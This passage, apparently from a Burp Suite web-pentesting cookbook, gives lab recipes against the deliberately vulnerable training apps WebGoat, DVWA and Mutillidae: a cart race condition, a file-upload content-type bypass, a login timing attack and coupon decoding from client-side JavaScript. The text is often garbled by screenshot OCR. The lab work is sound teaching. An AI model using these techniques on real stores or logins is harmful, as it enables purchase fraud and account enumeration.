Jeff Williams

WebGoat Design Team V5.4 Lesson Contributers

David Anderson Sherif Koussa
Laurence Casey (Graphics) Yiannis Pavlosoglou

Rogan Dawes

Bruce Mayhew
Special Thanks for V5.4 Documentation Contributers

Erwin Geimaert
Aung Khant
Sherif Koussa

Brian Ciomei (Multitude of bug fixes)
To all who have sent comments
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4. Click Concurrency | Shopping Cart Concurrency Flaw from the left-hand menu:

Choose another language: English ~ Logout 0

Shopping Cart Concurrency Flaw

OWASP WebGoat v5.4

Introduction Solution Videos Restart this Lesson
General

Access Control Flaws

AJAX Security For this exercise, your mission is to exploit the concurrency issue which will allow you to purchase

Authentication Flaws

Buffer Overflows merchandise for a lower price.

oncurrency Shopping Cart

Thread Safety Problems - - -

Shopping Cart Concurrenc Shopping Cart Items Price Quantity Subtotal

Flaw Hitachi - 750GB External Hard Drive $169.00|0 $0.00
Cross-Site Scripting (XSS) "
Improper Error Handling Hewlett-Packard - All-in-One Laser $299.00|0 $0.00
Injection Flaws Printer
Denial of Service A .
Insecure Communication Sony - Vaio with Intel Centrino $1799.00|0 $0.00
Insecure Configuration . .
Insecure Storage Toshiba - XGA LCD Projector $649.00|0 $0.00
Malicious Execution
Parameter Tampering .
Session Management Flaws Total: $0.00
Web Services Update Cart
Admin Functions
Challenge

Purchase
ASP ECT)
Application Security Experts

OWASP Foundation | Project WebGoat | Report Bug

The exercise explains there is a thread issue in the design of the shopping cart that
will allow us to purchase items at a lower price. Let's exploit the design flaw!
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5. Add 1 to the Quantity box for the Sony - Vaio with Intel Centrino item.
Click the Update Cart button:

Shopping Cart
Shopping Cart Items Price Quantity Subtotal

0

Hitachi - 750GB External Hard Drive $169.00

$0.00

Hewlett-Packard - All-in-One Laser

Printer $299.00 ‘0

$0.00

Sony - Vaio with Intel Centrino $1799.00 11 $0.00

Toshiba - XGA LCD Projector $649.00 ‘0

$0.00

Total: $0.00

Update Cart

Purchase

6. Switch to Burp Proxy | HTTP history tab. Find the cart request, right-click, and
click Send to Repeater:

Target | Proxy | Spider | Scanner | intruder | Repeater TS&quEnmr ] Decoder T Comparer TExtenw ]ijm options I User options | Alerts
[ Intercept ] HTTP history. ]wwsmm history | Options

| Filter: Hiding CSS, image and general binary content ‘ &
# | Host Method | URL params | Edted | Status | Length | I4ME type | Extension | Title Comment |
3084  hitp//192.168.56.101 POST __(WebGoal/attack?Screen=158menus800 J 200 32737 HTHL Shopping Cart Concurre.._ 1
<'e >
Request | Response

=

POST /WebGoat/attack?Scresn=l5emenu=o00 HITF/L. 1
Host: 192.1€8.86.101
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win£4; x£4; rv:6l.0) Cecko/20100101 Firefox/E1.0

Accept: text/html,application/rhemltxml, application/xml;q=0.9,4/%;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gaip, detlate

Referer: http://192.160.56.10L/WebGoat/attack?Screen=15smenu=000 ol
Content-Type: application/x-www-form-urlencoded Do an active scan
Content-Length: 46

Cookie: JEBSSIONID=ELZDIALIFLC3E6245CD0B1ZEE0407E2D; acopendivids=swingset, jot Sand to Intruder Ciried
Authorization: Basic 23V1e3Q623V1iedq=

Connection: close Send to Repeater CirleR
Upgrade-Insecure-Requests: 1

Do a passive scan
ersistenada

end 1o Sequencer

QTYL=0&0TY2=0£0TY3=1e0TY4=0&SUBMI TaUpdat e4Cart Send to Comparer
Send to Decoder
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7. Inside Burp's Repeater tab, change theQTY3 parameter from 1 to 10:

[ Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender

[ ol

Request

_[ Raw I Params T Headers I Hex ]

POST /WebGoat fattack?Screen=lS&menu=200 HTTP/1.1

Host: 152.188.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd4; =xg4; rv:g6l.0) Gecko/2Z0100101
Firefox/c1.0

Accept: text/html,application/xhtml+zml , application/xml;gq=0_9,*%/*;gq=0_8
Accept-Language: en-US,en;gq=0.5

Acocept-Encoding: gzip, deflate

Peferer: http://192_ 1668.5E6.101/WebGoat/attack?Screen=15anenu=800
Content-Type: application/x-www-form-urlencoded

Content-Length: 4&

Cookie: JSESSIONID=ElZD7ALLIF1C3ES5245CD0OELZEEB407EID;
acopendivids=swingset , jotto,phpbhbl,redmnine; acgroupswithpersist=nada
Authorization: Basic Z3V1e3Q€Z3Vlc3(Q=

Connection: close

Tpgrade-Insecure-Requests: 1

QTY1=0&0TYZ=080TY3=10E0TY4=05UEMIT=Update+Cart
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8. Stay in Burp Repeater, and in the request pane, right-click and select Request in

browser | In current browser session:

[ TargetT Proxy T Spider T Scanner T Intruder T Repeater T Seguencer T Decoder T Comparer T Extender T Project cptions T User options ]

[ [ [ Janl ]

Cance <|v > |

Go

Request

_[ Raw T Params T Headers | Hex

POST /WebGoat/attack?Screen=15&menu=800 HTTP/1.1
Host: 192.168.56.101
User-Agent: Mozilla/5.0
Firefox/E1l.0

Accept: text/html,application/xhtml+xml, application/xml;q=0_95, */*;gq=0_8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://l92_1€8.56.101/WebGoat/attack? Screen=15amena=800
Content-Type: application/x-www-form-urlencoded

Content-Length: 46

Coockie: JSESSIONID=ELCD7ALLIF1C365245CD0
acopendivids=swingset,jotto,phpbbl, redmi
Authorization: Basic EZ3V1c2QEE3Vlc3(=
Connection: close
Upgrade-Insecure-Requests: 1

(Windows NT 10.0; Win€E4; x€4; rv:&El.0) Gecko/Z0100101

1EE8407E2D;
Send to Spider

Do an active scan

Send to Intruder

Ctri+l
Ctr+R

Send to Repeater
QIY1=0aQ0TYZ=06a0TY3=10&QTT4=045SUBHNIT=Upd4

Send to Sequencer

Send to Comparer

Send to Decoder

e

Reguest in browser

Engagement tools >

In original session

In current browser session

9. A pop-up displays the modified request. Click the Copy button:

[ § Repeat request in browser

browser that is configured to use Burp as its proxy.

To repeat this request in vour browser, copy the URL below and paste into a

http://burp/repeat/3/wadnz7 gxdckpmcugbw0pleblbSjvextw

[ In future, just copy the URL and don't show this dialog

Copy

Close
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10. Using the same Firefox browser containing the shopping cart, open a new tab
and paste in the URL that you copied into the clipboard in the previous step:

Cart Concurrency X @ New Tab X

Q http://burp/repeat/3/wqdnz7gxdckpmcugbwOp0eb0Ob9jvsxtw

11. Press the Enter key to see the request resubmitted with a modified quantity of 10:

C @

Choose ancther language: ‘ English ¥ l,ogout 0

(D 192.168.56.101/WebGoat/attack?Screen=158&menu=800 E] e O ﬁ

o ShOpplng Cart Concurrency ‘[ x

Shopping Cart Concurrency Flaw

OWASP WebGoat v5.4 h4" .b- W Params ™ Show — Plan . “Solutic |

Introduction

General

Access Control Flaws
AJAX Security
Authentication Flaws
Buffer Overflows
Code Quality
Concurrency

Thread Safety Problems

Shopping Cart Concurrency
Flaw

Cross-Site Scripting (XSS)
Improper Error Handling
Injection Flaws

Denial of Service
Insecure Communication
Insecure Configuration
Insecure Storage
Malicious Execution
Parameter Tampering
Session Management Flaws
Web Services

Admin Functions
Challenge

Solution Videos Restart this Lesson

For this exercise, your mission is to exploit the concurrency issue which will allow you to purchase
merchandise for a lower price.

Shopping Cart

Shopping Cart Items Price Quantity Subtotal
Hitachi - 750GB External Hard Drive $169.00 |0 $0.00
Hewlett-Packard - All-in-One Laser $299.00 |0 $0.00

Printer

Sony - Vaio with Intel Centrino $1799.00(/10 $17,990.00

Toshiba - XGA LCD Projector $649.00 |0 $0.00

Total: $17,990.00
Update Cart

Purchase

ASI’ECT)

OWASP Foundation | Project WebGoat | Report Bug
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12. Switch to the original tab containing your shopping cart (the cart with the

original quantity of 1). Click the Purchase button:

Shopping Cart
Shopping Cart Items Price Quantity Subtotal

Hitachi - 750GB External Hard Drive $169.00 ’O $0.00
Hewlett-Packard - All-in-One Laser

Hewlet $299.00(0 $0.00
Sony - Vaio with Intel Centrino $1799.00§1 $0.00
Toshiba - XGA LCD Projector $649.00 ‘0 $0.00
Total: $0.00

Update Cart
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13. At the next screen, before clicking the Confirm button, switch to the second tab,
and update the cart again, but this time with our new quantity of 10, and click on

Update Cart:

0 Shopplng Can Concurrency } x

&« Q o @ 192.168.56.101/WebGoat/attack?Screen=15&menu=800 B - @ %
Choose another language: ‘English v Logout 0

Shopping Cart Concurrency Flaw

OWASP WebGoat v5.4

Introduction Solution Videos Restart this Lesson
General

Access Control Flaws

AJAX Security For this exercise, your mission is to exploit the concurrency issue which will allow you to purchase

Authentication Flaws
Buffer Overflows
Code Quality
Concurrency

Thread Safety Problems

Shopping Cart Concurrency

Flaw Hitachi - 750GB External Hard Drive $169.00 ‘0 $0.00
Cross-Site Scripting (XSS)

Improper Error Handling
Injection Flaws

Denial of Service . .
Insecure Communication Sony - Vaio with Intel Centrino $1799.00410 $17,990.00

Insecure Configuration - .

Insecure Storage Toshiba - XGA LCD Projector $649.00|0 $0.00
Malicious Execution

Parameter Tampering Total: $17,990.00

Session Management Flaws
Web Services Update Cart

Admin Functions
Challenge

merchandise for a lower price.

Shopping Cart
Shopping Cart Items Price Quantity Subtotal

Hewlett-Packard - All-in-One Laser
Rener $299.000 $0.00

Purchase

ASI’EGT)

OWASP Foundation | Project WebGoat | Report Bug
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14. Return to the first tab, and click the Confirm button:

0 Shopping Cart Concurrency F

«)> C ﬁ' @ # 192.168.56.101/WebGoat/attack?Screen=15&menu=800 E e ﬁ
Choose another language: English V‘ Logout 0

Shopping Cart Concurrency Flaw
»> | eSSC Solt

OWASP WebGoat v5.4 «

Introduction . " )
General Solution Videos Restart this Lesson
Access Control Flaws

AJAX Security For this exercise, your mission is to exploit the concurrency issue which will allow you to purchase

Authentication Flaws

Buffer Overflows merchandise for a lower price.

Code Quality
Concurrency Pl d
Thread Safety Problems _ ace your order _ i
Shopping Cart Concurrenc Shopping Cart Items Price |Quantity | Subtotal
Flaw Hitachi - 750GB External Hard Drive $169.00 0 $0.00
Cross-Site Scripting (XSS) Hewlett-Packard - All-in-One Laser Printer $299.00 0 $0.00
Improper Error Handling Y] N "
Injection Flaws Sony - Vaio with Intel Centrino $1799.00 1 $1,799.00
Denial of Service Toshiba - XGA LCD Projector $649.00 0 $0.00
Insecure Communication
Insecure Configuration Total: $1,799.00

Insecure Storage

Malicious Execution
Parameter Tamperin ;

Session Managgmen% Flaws Enter your credit card number: 5321 1337 8888 2007
Web Services

Admin Functions Enter your three digit access code: 111
hall
Cancel
ASI’EGT)
Application Security Experts

OWASP Foundation | Project WebGoat | Report Bug
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Notice we were able to purchase 10 Sony Vaio laptops for the price of one!

Choose another language: ‘ English v

OWASP WebGoat v5.4

Logoute

Shopping Cart Concurrency Flaw

Introduction

General

Access Control Flaws
AJAX Security
Authentication Flaws
Buffer Overflows
Code Quality
Concurrency

Thread Safety Problems

Shopping Cart

Concurrency Flaw

Cross-Site Scripting (XSS)
Improper Error Handling
Injection Flaws

Denial of Service

Insecure Communication
Insecure Configuration
Insecure Storage
Malicious Execution
Parameter Tampering
Session Management Flaws
Web Services

Admin Functions
Challenge

Solution Videos

Restart this Lesson

For this exercise, your mission is to exploit the concurrency issue which will allow you to purchase

merchandise for a lower price.

* Thank you for shopping! You have (illegally!) received a 90% discount. Police are on

the way to your IP address.

* Congratulations. You have successfully completed this lesson.

Thank you for your purchase!

Confirmation number: CONC-88

Shopping Cart Items Price |Quantity| Subtotal
Hitachi - 750GB External Hard Drive $169.00 0 $0.00
Hewlett-Packard - All-in-One Laser Printer $299.00 ] $0.,00
Sony - Vaio with Intel Centrino $1799.00 10 $17,990.00
Toshiba - XGA LCD Projector $649.00 0 $0.00
Total Amount Charged to Your Credit Card: $1,799.00
Return to Store
ASPECT
Application Security Experts

OWASP Foundation | Project WebGoat | Report Bug
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How it works...

Thread-safety issues can produce unintended results. For many languages, the developer's
knowledge of how to declare variables and methods as thread-safe is imperative. Threads
that are not isolated, such as the cart contents shown in this recipe, can result in users
gaining unintended discounts on products.

Unrestricted file upload - bypassing weak
validation

Many applications allow for files to be uploaded for various reasons. Business logic on the
server-side must include checking for acceptable files; this is known as whitelisting. If such
checks are weak or only address one aspect of file attributes (for example, file extensions
only), attackers can exploit these weaknesses and upload unexpected file types that may be
executable on the server.

Getting ready

Using the Damn Vulnerable Web Application (DVWA)application and Burp, we will
exploit a business logic design flaw in the file upload page.

How to do it...

1. Ensure the owaspbwa VM is running. Select DVWA from the initial landing
page of the VM. The landing page will be configured to an IP address specific to
your machine.

2. At the login page, use these credentials: Username: user; Password: user.

3. Select the DVWA Security option from the menu on the left. Change the default
setting of low to medium and then click Submit:
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Home

Instructions

Setup

Brute Force

Command Execution

CSRF

Insecure CAPTCHA

File Inclusion

SQL Injection

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

D\@A)

DVWA Security

Script Security
Security Level is currently medium.
You can set the security level to low, medium or high.

The security level changes the vulnerability level of DVWA.

low v

low

high '

Submit

v.0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications.
You can enable PHPIDS across this site for the duration of your session.
PHPIDS is currently disabled. [ ]
[ -1 1

4. Select the Upload page from the menu on the left:

| Vulnerability: File Upload

CSRF

Home
IShETons I Choose an image to upload:
Setup | Browse... No file selected.
Upload
Brute Force proa
Command Execution .
More info

Insecure CAPTCHA

File Inclusion

SQL Injection

SQL Injection (Blind)
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5. Note the page instructs users to only upload images. If we try another type of file
other than a JPG image, we receive an error message in the upper left-hand
corner:

Your image was not uploaded.

6. On your local machine, create a file of any type, other than JPG. For example,
create a Microsoft Excel file called malicious_spreadsheet .x1lsx. It does not
need to have any content for the purpose of this recipe.

7. Switch to Burp's Proxy | Intercept tab. Turn Interceptor on with the button
Intercept is on.

8. Return to Firefox, and use the Browse button to find the
malicious_spreadsheet.x1lsx file on your system and click the Upload
button:

Vulnerability: File Upload

Choose an image to upload:
Browse... malicious_spreadsheet.xlsx

Upload

9. With the request paused in Burp's Proxy | Interceptor, change the Content-type
from application/vnd.openxmlformats-—
officedocument.spreadsheet.sheet to image/jpeg instead.

e Here is the original:

----------------------------- 1805021010180&8
Content-Disposition: form-data; name="MAX FILE SIZE"

looooo

————————————————————————————— 1805021010180&%

Content-Disposition: form-data; name="uploaded"; filename="malicious_spreadsheest.xlsx"
Content-Type: application/vnd. openxml formats-officedocument  spreadsheetml. sheet
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e Here is the modified version:

————————————————————————————— 1l805031010180E9
Content-Disposition: form-data; name="MAX¥ FILE_SIZE"

looooo

————————————————————————————— 18090321010180&9

Content-Disposition: form-data; name="uploaded"; filename="malicious spreadsheet. xlsx"
Content-Type: image/jpeg

10. Click the Forward button. Now turn Interceptor off by clicking the toggle button
to Intercept is off.

11. Note the file uploaded successfully! We were able to bypass the weak data
validation checks and upload a file other than an image:

Vulnerability: File Upload

Choose an image to upload:
Browse... No file selected.

Upload

../../hackable/uploads/malicious spreadsheet.xlsx succesfully uploaded!

How it works...

Due to weak server-side checks, we are able to easily circumvent the image-only restriction
and upload a file type of our choice. The application code only checks for content types
matching image/jpeg, which is easily modified with an intercepting proxy such as Burp.
Developers need to simultaneously whitelist both content-type as well as file extensions in
the application code to prevent this type of exploit from occurring.
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Performing process-timing attacks

By monitoring the time an application takes to complete a task, it is possible for attackers to
gather or infer information about how an application is coded. For example, a login process
using valid credentials receives a response quicker than the same login process given
invalid credentials. This delay in response time leaks information related to system
processes. An attacker could use a response time to perform account enumeration and
determine valid usernames based upon the time of the response.

Getting ready

For this recipe, you will need the common_pass. txt wordlist from wfuzz:

® https://github.com/xmendez/wfuzz
e Path: wordlists | other | common_pass.txt

Using OWASP Mutillidae II, we will determine whether the application provides
information leakage based on the response time from forced logins.

How to do it...

Ensure Burp is running, and also ensure that the owaspbwa VM is running and that Burp is
configured in the Firefox browser used to view owaspbwa applications.

1. From the owaspbwa landing page, click the link to OWASP Mutillidae II
application.

2. Open Firefox browser to the home of OWASP Mutillidae II (URL:
http://<your_VM_assigned_IP_address>/mutillidae/).

3. Go to the login page and log in using the username ed and the password
pentest.

4. Switch to Burp's Proxy | HTTP history tab, find the login you just performed,
right-click, and select Send to Intruder:
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Burp Intruder Repeater Window Help

m Spider T Scanner T Intruder I Repeater T Sequencer T Decoder T Comparer I Extender I Project options T

!lmercept HTTP history !WebSockets. history T Options ]

’ Filter: Hiding C5S, image and general binary content

# 4| Host | Method | URL | Params | Edited | Staty
| 518 hitp:/i192.168.56.101 J 30
] 3

Reguest | Response

_['RawT Params T Headers T Hex 1

POST /mutillidae/index. php?page=login.php HTTP/L.1
Host: 152.1e8.5e£.101

User-Agent: Mozilla/S5.0 (Windows NT 10.0; Win€4; x64; rv:€1.0) Gecko/Z0100101 Firefox/E1.0
Accept: text/html,application/xhtml+txml application/xul;q=0.9, *%/*;q=0.8

Accept-Language: en-US, en;g=0.5

Accept-Encoding: gzip, deflate

Peferer: http://l92.168.56.101/mutillidas/index.php?page=login. php
Content-Type: application/x-www-form-urlencoded Send to Spider
Content-Length: 58
Cookie: showhints=1l; acopendivids=swingset,jotto,phpbhl redmine; acgrdg

Do an active scan

Connection: close Do a passive scan
Upgrade-Insecure-Requests: 1 Send to Intruder Ctrl+l
Send to Repeater Ctri+R

username=cdipassword=pentestilogin-php-subnit-button=Login

5. Go to the Intruder | Positions tab, and clear all the payload markers, using the
Clear § button on the right-hand side:

[ Target | Proxy | Spider T Scanner Thtmder T Repeater T Seguencer I Decoder TCnmparer I Extender I Project options. ] User options I Alerts W

1+ (2=
[Talget Positions | Payloads T Options ]

@ Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are igned to payload itions - see help for full details.

Aftack type: | Sniper

POST /mucillidae/index.php?page=5login.phps HTTP/1.1

Host: 197.1€8.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; xé4; rv:€l.0) Gecko/Z0100101 Firefox/€1.0
Accept: text/html,application/xhtmltxml,application/xml; q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0_5

Accept-Encoding: gzip, deflate

Peferer: http://192.188.56.101/mutillidae/index.phplpage=login.php

Content-Type: application/x-www-form-urlencoded

Content-Length: 58

Cookie: showhints=§1§; acopendivids=§swingset, jotto,phpbbl, redmine§; acgroupswithpersist=§nadal§; Server=§b3dhc3BidlE=§,
PHPSESSID=§kwEjE8jmle33n5845ahe5496078

Connection: close

Upgrade-Insecure-Requests: 1

username=Sed§&password=SpentestSilogin-php-submit-button=§Login§
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6. Select the password field and click the Add § button to wrap a payload marker
around that field:

2| Payl

@ Positior Startattack |
Configure the positions where payloads will be inserted into the base request. The atiack type determines the way in which payloads are assigned 1o payload postions - see heip for full details

Attack type: | Saiper

POST /mucillidas/index.phplpage=login.php HTITP/L.1

Host: 192.1€8.56.101

User-Agent: Mozilla/§.0 (Windows NT 10.0; Win4; x€4; rv:€l.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.5,*/*;q=0.8 Clear §
Accept-language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Auto §
Referer: http://192.1€8.56.101/mutillidae/index. php?page=login. php ;
Content-Type: application/x-www-form-urlencoded Refresh |
Content-Length: 58
Cookie: showhines=l; acopendivids=swingset,jotto,phpbbZ, reduine; acgroupsvithpersistsnada; Serversb3dhc3BidZEs; PHPSESSID=kvejE8jimle3ddnsa45ahesdscoT

Connection: close
Upgrade-Insecurs-Requests: 1

7. Also, remove the PHPSESSID token. Delete the value present in this token (the
content following the equals sign) and leave it blank. This step is very important,
because if you happen to leave this token in the requests, you will be unable to

see the difference in the timings, since the application will think you are already
logged in:

Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.

Attack type: l Sniper

POST /mutillidae/index.php?page=login.php HTTP/1.1

Host: 192.168.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4,; x€4; rv:6l1.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtmltxml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192 168.56.101/mutillidae/index. phplpage=login. php

Content-Type: application/x-www-form-urlencoded

Content-Length: 58

Cookie: showhints=l; acopendivids=swingset,jotto,phpbhl, rednine; acgroupswithpersist=nada; Server=b3dhc3BidlE=; PHPSBSS[D:=
Connection: close

Upgrade-Insecure-Requests: L

username=edépassword=§pentest§&login-php-submit-button=Login
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8. Go to the Intruder | Payloads tab. Within the Payload Options [Simple list], we
will add some invalid values by using a wordlist from wfuzz containing

common passwords: wfuzz | wordlists | other | common_pass.txt:

@ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Add from list ...

—

|

Paste I A
123456
Load ... I 1234567
12345673
Remove 123asdf
Admin
Clear I admin
administrator
asdf123 v
Add l Enter & new item

9. Scroll to the bottom and uncheck the checkbox for Payload Encoding:

@ Payload Encoding

This setting can be used to URL-encode selected characters within the final payload, for safe transmission within HTTP reguests.

|L] URL-encode these characters: | A=<s?+&% " |
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10. Click the Start attack button. An attack results table appears. Let the attacks
complete. From the attack results table, select Columns and check Response
received. Check Response completed to add these columns to the attack results

table:

[Target Proxy | Spider TScanner I Intruder I Repeater TSequenuef I Decoder T Comparer I Extender Tﬁokct options I User options IAlerts ]

1 x

Payload Processing

You can define rules to perform v,

Add J Enabled | Rul Finished

200 .. W intruder attack 1 a %
Target | Positions | Payloads | Opti A
f Results | T{ ¥ Request | Options
@ Payload Sets v Payload —
) Fiter: Showin| / siatus ‘ @
You can define one or more paylo| X
Cusionized In/diferenkways Request 4| e Status Error | Timeout | Length | Comment
, 0 302 a O  soss2
Payload set: 1 1 - Eespnnse completed 200 o o 0797
i pe— 7|2 I 200 a O sore7
Payload type: | Simple list 3 V Timeout 200 a O P
4 Vv Length 200 a O sore7
Cookies
Payload Options [Simple  Comment
This payload type lets you configu
Paste 000K
hiiiiid
Load ... ddddd
WWWW
Remove
Clear
Add Enter a new item
Add from st __ |

"

11. Analyze the results provided. Though not obvious on every response, note the
delay when an invalid password is used such as administrator. The Response
received timing is 156, but the Response completed timingis 166. However,
the valid password of pentest (only 302) receives an immediate response: 50
(received), and 50 (completed):
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Attack Save Columns

jResunsT Target T Positions T Payloads TOpiions l

Fiter: Showing all items.

Request Payload | Status. | Response received | Response completed | Error | Timeout | Length
0 302 50 50 O d 50950
1 00 3 !1-' O )  =oa20
2 123456 200 43 43 ] d 50820
3 1234567 200 83 83 @] g 50820
4 12345678 200 139 139 ] o 50820
5 123asdf 200 130 133 @] o 50820
7 admin 200 129 129 @] U 50820
6 Admin 20 0 71 g d 50820
8 administrator gl ﬁ [ I L UJ 50820
10 backup 20 30 41 [] (] 50820

How it works...

Information leakage can occur when processing error messages or invalid coding paths
takes longer than valid code paths. Developers must ensure the business logic does not give
away such clues to attackers.

Testing for the circumvention of work flows

Shopping cart to payment gateway interactions must be tested by web app penetration
testers to ensure the workflow cannot be performed out of sequence. A payment should
never be made unless a verification of the cart contents is checked on the server-side first. In
the event this check is missing, an attacker can change the price, quantity, or both, prior to
the actual purchase.

Getting ready

Using the OWASP WebGoat application and Burp, we will exploit a business logic design
flaw in which there is no server-side validation prior to a purchase.
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How to do it...

1. Ensure the owaspbwa VM is running. Select the OWASP WebGoat application
from the initial landing page of the VM. The landing page will be configured to
an IP address specific to your machine.

2. After you click the OWASP WebGoat link, you will be prompted for login
credentials. Use these credentials: User Name: guest; password: guest.

3. After authentication, click the Start WebGoat button to access the application
exercises.

4. Click AJAX Security | Insecure Client Storage from the left-hand menu. You are
presented with a shopping cart:

Choose another language: English ~ | Logout 0

Insecure Client Storage

OWASP WebGoat v5.4 < »>

Introduction . . "
General Solution Videos Restart this Lesson
AJAX Security STAGE 1: For this exercise, your mission is to discover a coupon code to receive an unintended

Same Origin Policy Protection discount.

LAB: DOM-Based cross-site

scripting R

LAB: Client Side Filtering . Shopping Cart

DOM Injection Shopping Cr:‘::::ms -- To Buy Price Quantity Total

XML Injecti

—n]g Studio RTA - Laptop/Reading Cart with $69.99 0 $0 00

JSON Injection Tilting Surface - Cherry . .

lent Transactions Attacks Dynex - Traditional Notebook Case $27.99 ‘0 $0.00

Dangerous Use of Eval —

Insecure Client Storage ‘:ﬁ:ﬁl‘f&—;?@cl?er:t;i::xymn Notabaak $159999 [0 $000
Authentication Flaws - .
Buffer Overflows 2100 g wnance servicz Plan - 14299.99 [0 $0.00
Code Quality
Concurrency 7
Cross-Site Scripting (XSS) Total before coupen is applied: $0.00
Improper Error Handling
Injection Flaws Total to be charged to your credit card: $0.00
Denial of Service
Insecure Communication
Insecure Configuration " .
Insecure Storage Enter your credit card number: 4128 3214 0002 1999 |
Malicious Execution Enter your coupon code: |
Parameter Tampering
Session Management Flaws Purchase
Web Services
Admin Functions
Challenge

L
ASPE BT)
Application Security Experts
OWASP Foundation | Project WebGoat | Report Bug
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5. Switch to Burp's Proxy | HTTP history tab, Click the Filter button, and ensure
your Filter by MIME type section includes Script. If Script is not checked, be
sure to check it now:

[ Target T Proxy T Spider I Scanner I Intruder T Repeater I Seguencer T Decoder T Comparer T Extender I Project options I User options T Alerts ]

Intercept | HTTP history T WebSockets history T Options 1

Filter: Hiding CSS, image and general binary content

@ Filter by request type Fitter by MIME type Filter by status code
@ [J Shew enly in-scope items ) HTML [ Othertext ) 2xx [success]
(] Hide tems without responses & Seript J Images & 3xx [redirection]
(J Show only parameterized requests & xuL & Flash & 4xx [reguest error]
[ css [J Other binary & Sxx [server error]
Filter by search term Fitter by file extension Fiter by annectaticn Filter by listener

[J Show only: | asp,aspx,jsp,php O Show only commented items

] Regex — r . e
L P Show only highlighted tems

- . Hide: ,gif jpg png css

LJ Case sensitive [ Negative search G glhpg,png

l Show all J l Hide all J l Revert changes J

6. Return to the Firefox browser with WebGoat and specify a quantity of 2 for the
Hewlett-Packard - Pavilion Notebook with Intel Centrino item:

STAGE 1: For this exercise, your mission is to discover a coupon code to receive an unintended
discount.
Shopping Cart
Shopping Car'::::;ms -~ To Buy Price Quantity Total
Studio RTA - Laptop/Reading Cart with
Tilting Surface - Cherry $69.99 0 $0.00
Dynex - Traditional Notebook Case $27.99 0 $0.00
Hewlett-Packard - Pavilion Notebook
with Intel® Centrino™ $1599.99 2 $3,199.98
3 - Year Performance Service Plan
$1000 and Over $299.99 0 $0.00
Total before coupon is applied: $3,199.98
Total to be charged to your credit card: $3,199.98
Enter your credit card number: ’4128 3214 0002 1999 ‘
Enter your coupon code: ‘ ‘
Purchase
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7. Switch back to Burp's Proxy | HTTP history tab and notice the JavaScript (*. js)
files associated with the change you made to the quantity. Note a script called
clientSidevaliation.js. Make sure the status code is 200 and not 304 (not
modified). Only the 200 status code will show you the source code of the script:

203 hitp:#/192.168.56.101 GET NiWebGoat/attack?Screen=119&menu=400 v 200 34155 HTML Insecure Client Storage
208 hitp:#/192.168.56.101 GET \WebGoatfavascriptjavascript.js 204 229 script s
208 http://192.168.56.101 GET IWebGoat/fjavascript/menu_system.js 204 230 script IS
210 hitp:#/192.168.56.101 GET NWebGoatfjavascriptioggle.js 304 230 script s
21 hitp:#/192.168.56.101 GET MWebGoatfjavascript/makeWindow js 304 229 script s
212 http://192.168.56.101 /y I is 204 2l crint s
| 213 http://192.168.56.101 GET /\WebGoat/javascript/clientSideV alidation. ZU_G 225 S is

8. Select the clientSidevValidation. js file and view its source code in the
Response tab.

9. Note that coupon codes are hard-coded within the JavaScript file. However, used
literally as they are, they will not work:

[Tﬂrget Proxy | Spider T Scanner T Intruder ] Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options | Alerts

Intercept | HTTP history TWebSockets history IOpﬂons l

I Fitter: Hiding CSS, image and general binary content

# A|Host | Method | URL Params | Edited | Status | Length |MIMEtype | Extension
213 hitp:i/192.168.56.101 GET ript/clientSide\V: ion. js 200 3325 script i
ELS

Request | Response
Raw | Headers | Hex

HTTP/1.1 200 OK

Date: Sun, 059 Sep 2018 17:28:02 GMT
Server: Apache-Coyote/l.1

Pragma: No-cache

Cache-Control: no-cache

Expires: Wed, 31 Dec 1989 19:00:00 EST
Accept-Ranges: bytes

ETag: W/"ZS4£-1438572894000"
Last-Modified: Mon, 03 Aug 2015 03:34:54 GMT
Content-Type: text/javascript

Via: 1.1 127.0.1.1

Vary: Accept-Encoding

Content-Length: 2848

Connection: close

var coupons = ["nvojubmg",
“enph",

"sfumit",

"faopse",

“foptrfsq",

"prutt fsq"];

function isValidCoupon{coupon) {
coupon = coupon.tolUpperCase();
for(var i=0; i<coupons.length; i++) {
decrypted = decrypt (coupons[i]);
if(coupon == decrypted){
ajaxFunction(coupen);
return true;
}
}

return false;
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10. Keep looking at the source code and notice there is a decrypt function found in
the JavaScript file. We can test one of the coupon codes by sending it through this
function. Let’s try this test back in the Firefox browser:

| 213 http://192.168.56.101 GET NiebG: ripticli i idation.is 200 3325 script s
| -

Reguest | Response

Raw | Headers Wl

}

function decrypt (code) |
code = code_toUpperCasel();
alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
caesar = '';
for (i = code.length ;i >= 0;i--){
for (j = D;j<alpha.length;j++){
if(code.charAt (i) == alpha.charAt(j)){
caesar = caesar + alpha.chardt((j+(alpha.length-1))%alpha.length);
}
}

return caesar;

i

11. In the browser, bring up the developer tools (F12) and go to the Console tab.
Paste into the console (look for the >> prompt) the following command:

decrypt ('emph') ;
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12. You may use this command to call the decrypt function on any of the coupon
codes declared within the array:

G
w

Introduction

General

Access Control Flaws

AJAX Security
Same Origin Pelicy Protection
LAB: DOM-Based cross-site
scripting
LAB: Client Side Filtering
DOM Injection
XML Injection

JSON Injection

Silent Transactions Attacks
Dangerous Use of Eval
Insecure Client Storage

Authentication Flaws
Buffer Overflows

Code Quality

Concurrency

Cross-Site Scripting (XSS)
Improper Error Handling
